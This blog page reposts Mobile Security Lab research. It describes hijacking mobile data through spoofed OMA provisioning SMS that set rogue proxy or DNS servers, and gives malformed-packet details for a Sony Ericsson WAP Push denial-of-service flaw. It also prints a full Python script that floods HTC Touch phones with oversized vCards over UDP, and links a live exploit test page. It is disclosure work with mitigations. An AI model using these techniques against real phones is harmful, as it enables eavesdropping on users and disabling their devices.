Buzzdev.org

In the previous post Hijacking Mobile Data Connections , Mobile Security Lab pointed out how an attacker could gain full control on mobile data connections originated by mobile phone.

For the beginning, you may wat to read little info about XML provisioning by utak3r.

This could be achieved by reconfiguring the DNS address on victim’s mobile phone with one controlled by the attacker, by means of OMA provisioning SMS. However, during our tests some mobile phones resisted to this attack, due to the fact that, despite supporting OMA provisioning, they don’t honour configuration requests of DNS address, neither locally nor remotely.

But, as we said, OMA provisioning allows for setting other parameters than DNS; among them there are the proxy settings.

In mobile world, a proxy isn’t different from any other environment: it is a software component that is located between a client, in this case a mobile phone, and a server on Internet; any standard HTTP proxy can be used for an HTTP mobile client.

In our experiences we have noticed that the proxy settings are widely used by several operator services, mainly for delivering MMS messages.

On the other side, an attacker could use proxy configuration to hijack the victim traffic, HTTP and HTTPS, and redirect it towards an IP address under his control. Still the victim, after having installed the rogue configuration, will be unaware that a third party, the attacker, is eavesdropping the data traffic.

Hijacking by means of a proxy configuration has some differences with respect to DNS configuration, apart from being supported by a few more phones:

• Proxy component is enough to redirect user’s data traffic.
• The proxy port could be set to a different value, other than the standard TCP/80. This could be useful for the attacker to overcome some firewall restriction.
• While the operator could block DNS traffic to outside of its network, in order to mitigate attacks to DNS settings, it may be difficult to restrict access to HTTP proxies over Internet;

The limitation, of course, is that only HTTP-based services could be hijacked; this excludes email and most dedicated clients.

To be more technical, let’s shows a simple proxy configuration:

In order to provide new proxy configuration it is necessary to use the two characteristic, PXPHYSICAL and PXLOGICAL as described in provided in Provisioning Content Specification

PXLOGICAL characteristic is used to introduce a new proxy configuration inside the current XML configuration.

PXPHISICAL characteristic, defined inside PXLOGICAL characteristic, specifies the proxy server information needed to use it: proxy address, port number and other proxy related parameters, if needed.

The following two pictures show the proxy configuration on LGKM900 where it is not possible to configure a DNS address.

A suitable program must now be used to compile this configuration in a binary SMS message; then, the message can be delivered to the victim by sending AT commands to a mobile phone attached to the PC.

Original post: Mobile Security Lab

The attack that Mobile Security Lab presented at BlackHat Europe 2009 showed how it could be possible to take complete control of mobile originated data connections, by using a standard Provisioning mechanism, exploiting the ability to deliver configuration messages to handsets and performing social engineering on user by means of spoofing techniques.

Provisioning is a process that allows for remote configuration of Mobile Devices, and is tipically used by Mobile Operators for sending handsets the correct configuration for using data connections (eg: Internet access, MMS…)

Userpin is one of the available security mechanisms for performing the Provisioning process.
When using such mechanism the Mobile Operator sends a text SMS, advising the user that he is going to receive a configuration message, and a PIN code, that will be used for installing the configuration.
The configuration message is then sent as a second SMS. The user needs to insert the received PIN code, and then the configuration will be installed.

Abusing the Provisioning process can be performed in multiple ways. The solution we presented at BlackHat relies on changing the DNS address with the Userpin mechanism, but other options are possible.

Our paper can be downloaded here and slides here

A demo of the attack is now also available in the video below, where two samples of the attack have been performed.
We will provide additional samples and variations, while covering handsets from more manufacturers, in the next few days.

In this scenario, a fake info SMS is sent first, an user will believe it has been sent by the Operator because of the spoofed source and the message content.
If this message is trusted, then the user will be confident that the configuration message he will receive afterwards is also legitimate.
This SMS has been sent by using one of the many services available over the Internet, that allow sending SMS with arbitrary message source.

Then a configuration message is sent and it can be installed by using the PIN provided by the attacker; successful installation of this message will make the user trust even more the received configuration.
Usually, there is no need for spoofing such message, because many handset do not display its source.

The Nokia handset in the demo correctly shows the source number, but an attacker may bypass this by spoofing this message as well, or just by leveraging the fact that many users will not notice the information.
The provisioning message has been created by using a custom tool, but similar tools are easily available over the Internet.

In many cases, the provided configuration is installed directly as the default one.
The Nokia handset in the demo asks the user before installing it as the default, but, at this point, many user will likely consent to this.

In our scenario the attacker changes the DNS address with an IP of a DNS server he controls.
All the DNS queries will be answered with the address of an HTTP transparent proxy, and all the HTTP traffic will flow through this point of interception.
This allow to access and modify the traffic, effectively hijacking the sessions.

The video provides demonstration that, by using this technique, an attacker is able to access the clear text victim traffic.
This can be achieved just by sending a couple of SMS to an unsuspecting victim; the attack will survive to any reboot of the handset.

User awareness is one of the best defense against this kind of attack:
Have a careful look to the configurations installed in your handset.

Mobile Security Lab has discovered another remote DoS attack on mobile devices. This one is particulary interesting, because one can in theory send a single UDP packet to freeze or reboot many mobiles at once.

Affected SonyEricsson devices are:

• W910i
• W660i
• K618i
• K610i
• Z610i
• K810i
• K660i
• W880i
• K530i

Other devices based on the same (or earlier) platform are likely to be vulnerable.
More recent devices may be not vulnerable.

A malformed WAP Push packet is able to remotely reboot the handset and, in some cases, completely hang it.

In case the handset hangs, battery removal is needed in order to restore normal functionalities.
By sending multiple malformed packet via SMS, an attacker may be able to reboot the handset multiple times, effectively performing an extended denial of service.

The attack can also be performed over an IP bearer using UDP port 2948.
In this case a single malformed broadcast packet can be used to attack and disable a large number of devices, leading to a much heavier impact.

There are not know any solutions and workarounds for this DoS attack. The issue has been reported to SonyEricsson.

Mobile Security Lab is aware that the problem has been identified: some models, more recent than the ones listed in this advisory, have been found not to be vulnerable.

Technical Details

MSL-2008-001 vulnerability raised a significant attention; we have now decided to disclose its technical details. We decided to proceed with the disclosure in order to stimulate public analysis and contribution, hoping to increase awareness about this issue and ultimately help protection against it.

The following description is based on our tests and our inference of what happens inside the device.
Unfortunately, researching vulnerabilities on such devices is a long and painful work, because of the lack of documentation, testing tools and debuggers, so we cannot ultimately state what happens at the code level.

All evidences are towards a vulnerability occurring in the parsing of WAP Push header; the code devoted to such parsing appears to be used for processing packets received both on SMS and IP.

We strongly believe that the specific issue resides in the improper handling of incorrect size fields inside the WAP Push headers.

WAP is actually a large framework, into which WSP is in charge of content delivery. A reference document describing WSP protocol can be found here:

http://www.openmobilealliance.org/tech/affiliates/LicenseAgreement.asp?DocName=/wap/wap-230-wsp-20010705-a.pdf

WSP makes extensive use of size fields; our tests have tracked a few fields that, if incorrectly specified, will lead the vulnerable handsets to an error condition, such as rebooting or system freezing. More specifically, the vulnerability will be triggered if, in such fields, the specified length is larger than the actual amount of bytes.

Since WAP can be carried both over SMS and IP protocol, we will make use of the latter to show an example; this enables us to use Wireshark to better explain the data structures.

The following pictures show the capture of 2 sample IP packets that, when sent to the handset, will make it reboot; they have been opened with Wireshark, even though they are marked (obviously) as ‘malformed’.
The lower pane shows the hexadecimal representation of WAP payload.

Fig 1 - MSL-2008-001-1

Figure 1 shows one of the first formats we researched: this is a WAP Push message carrying a “multipart” Content-Type payload. According to the specifications, the 2 bytes circled in the screenshot refer to the multipart payload headers:
Header Length: 0×0a
Content Length: 0×1

In the remaining part of the packet there are only 0xa bytes, and no byte as referenced by the 0×1 of the Content Length. This is enough for triggering the vulnerability; changing the Content Length to 0×0 would fix the header and the payload would be normally processed by the handset without any consequence.

Let’s see another example:

Fig 2 - MSL-2008-001-2

This sample does not use any multipart content, it just consists of the WAP Push packet header, without any payload. The specified Header Length (3rd byte) is 0×1c bytes long, while there
are just 0×1b remaining bytes in the header. Changing the Header-Length to the correct value of 0×1b would fix the header resulting in an inoffensive WAP Push packet.

These malformed WAP Push packets are to be sent over UDP, but the very same payload can be embedded in a properly formatted SMS.

We are not sure that all the possible attack vectors have been identified; and the two samples, even if they yield the same effect, may actually be due to different code execution flows.

Besides, it seems that the vulnerability occurs quite early in the processing of the WAP packet, because the UI settings are not able to influence in any way the processing of such packets.
The vulnerability occurs long before anything is displayed on the UI, and the received SMS is not even saved in the Inbox.

The ‘closed’ OS and the characteristics of this vulnerability suggest us that a protection on the network side could be a viable alternative to that on the handset side, but other options may apply too.

Source: Mobile Security Lab

Below is the source code for HTC Touch vCard DoS exploit

#! /usr/bin/env python
#
# Copyright (c) 2009 Mobile Security Lab www.mseclab.com
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#

from socket import *
from sys import exit,argv
from time import *
import random
from optparse import OptionParser

# Global Variables
PORT = 9204
DEF_NUM_PACKETS = 10
DEF_VCARD_LEN = 1410
DEF_DELAY = 0.7
VCARD_HEADER = "BEGIN:VCARD\r\nVERSION:2.1\r\nN:"
VCARD_TRAILER = "\r\nEND:VCARD\r\n"

def main():
    # Local variables
    num_packets = DEF_NUM_PACKETS
    delay = DEF_DELAY

    print "\nMSL-2008-002 PoC for HTC Touch\nMobile Security Lab 2009\n"
    # Parsing options
    parser = OptionParser("usage: %prog [options] target_IP")
    parser.add_option("-s", "--silence", action="store_true", dest="silence", help="send silent vcards (32k)")
    parser.add_option("-c", "--count", type="int", help="specify vcard length", dest="count")
    parser.add_option("-d", "--delay", type="float", help="specify delay between packets", dest="delay")
    parser.add_option("-l", "--len", type="int", help="specify vcard length", dest="len")
    parser.add_option("-t", "--text", type="string", help="specify vcard body text", dest="text")

    # Parse input
    (options, args) = parser.parse_args()
    if len(args) != 1:
        parser.print_help()
        print ""
        exit(1)

    if options.count:
        num_packets = options.count

    if options.delay:
        delay = options.delay

    if options.silence:
        vcard_body = VCARD_HEADER+'A' *32722+VCARD_TRAILER
    elif options.len:
        vcard_body = VCARD_HEADER+'A' *options.len+VCARD_TRAILER
    elif options.text:
        vcard_body = VCARD_HEADER+options.text+VCARD_TRAILER
    else:
        vcard_body = VCARD_HEADER+'A' *DEF_VCARD_LEN+VCARD_TRAILER

    # Socket creation
    udp_sock = socket(AF_INET, SOCK_DGRAM)
    ADDR = (args[0],PORT)

    # Start sending packet
    counter = 1
    c_lap = 0
    total_data = 0
    print "Sending %d packets... to %s" % (num_packets,ADDR)
    start_time = time()
    start_lap = time()

    # Start sending packet
    while counter < = num_packets:
        len_sent = udp_sock.sendto(vcard_body,ADDR)
        if len_sent != len(vcard_body):
            print "Error sending packet n.%d" %counter
            break

        # Update Counter
        counter += 1
        c_lap += 1
        total_data += len_sent

        # Sleep for letting the device parse vcards
        sleep(delay)

        # Check number of packets in a second
        local_lap = time()
        if local_lap - start_lap >= 1:
            print "%0.2f packets/sec" % (c_lap/(local_lap - start_lap))
            start_lap = local_lap
            c_lap = 0

    stop_time = time()
    stop_sec = stop_time - start_time

    # Display info
    print "Sent %d packets in %f seconds" % (num_packets, stop_sec)
    print "Start time: %s" %ctime(start_time)
    print "Stop time: %s" %ctime(stop_time)
    print "Payload Len = %d bytes" % len(vcard_body)
    print "Total Data sent = %d bytes (about %0.2f kB)" % (total_data, (float(total_data)/float(1024)))

#Global start
if __name__ == "__main__":
    main()

# milw0rm.com 2009-03-02

“You are browsing with your shiny smartphone while being connected to a wireless LAN.
Suddenly you receive a single SMS carrying a new contact information.
You don’t even have the time to check it, that your SMS inbox starts filling with unwanted messages and you don’t seem to be able to stop it…”

This is a possible scenario that may happen if you are victim of a vCard Denial of Service.

If you are curious, how that really works, try it out yourself on your own device.
Open the URL below in your HTC Touch and press a button.

Exploit test: http://poc.mseclab.com/MSL-2008-002_Test.html

Vulnerability Details

Vendor: HTC

Platforms: Touch Pro, Touch Cruise

Class: Denial of Service

Remote: Yes

Local: No

Public References: Not Assigned

Affected: HTC Touch Pro, HTC Touch Cruise

Not Affected: Currently Unknown

Description

UDP/9204 port is open and reachable both via WiFi and GPRS/UMTS connection when the device is capable of sending and receiving SMS.
Port is always open on the Touch Pro, while on Touch Cruise the port is open when the SMS application is running.

UDP/9204 is associated with the service WAP-vCard and is used for sending vCard files to the device, that are displayed as normal SMS to users.
By flooding the device with multiple vCards it is possible to perform a Denial of Service attack that affects usability, SMS handling and connectivity.
By sending large number of vCards an attacker can achieve significant device slowdown, making the UI sluggish and hard to use.
In some cases WiFi connections may be dropped (when vCards are sent via WiFi), effectively disconnecting the device from the network.

On Touch Cruise devices, SMS inbox can be completely filled by sending more then 450 large vCards (size 32K).
The device will not be able to receive SMS anymore or to access the message stored inside the device until SMS deletion occurs.
Additionally, when large vCards are sent, no acoustic notification (ring tones) will be played upon incoming messages, making the attack more silent and less noticeable by an user.

Battery removal may be needed, in some cases, for restoring normal functionalities.
Manual deletion of all received SMS requires a very long time, making the deletion of all the SMS the most viable option, but leading to loss of all received SMS and requiring in any case a large amount of time (even hours).
The faster option for restoring the device is performing a hard reset of the device, leading to the loss of all the content saved on the handset.

The attack can be easily carried in all the scenarios where the device IP stack is accessible to an attacker, such as Wireless LANs and Mobile Networks assigning public IP addresses without any firewall protection.

Solutions and Workaround

A personal firewall solution can be used for denying unwanted access to the port, effectively avoiding possible attacks.

Additional Info

Timeline:
2008-12-03: Issue discovery
2008-12-05: Initial Vendor Notification: Point of Contact requested via contact form on website (No suitable e-mail available)
2008-12-14: Vendor Response: Customer support answered without providing any suitable contact for vulnerability communication
2008-12-19: Public Disclosure

Vendor Statement: None

Exploit example: Source code by mseclab

Published by Mobile Security Lab on 2008-12-19.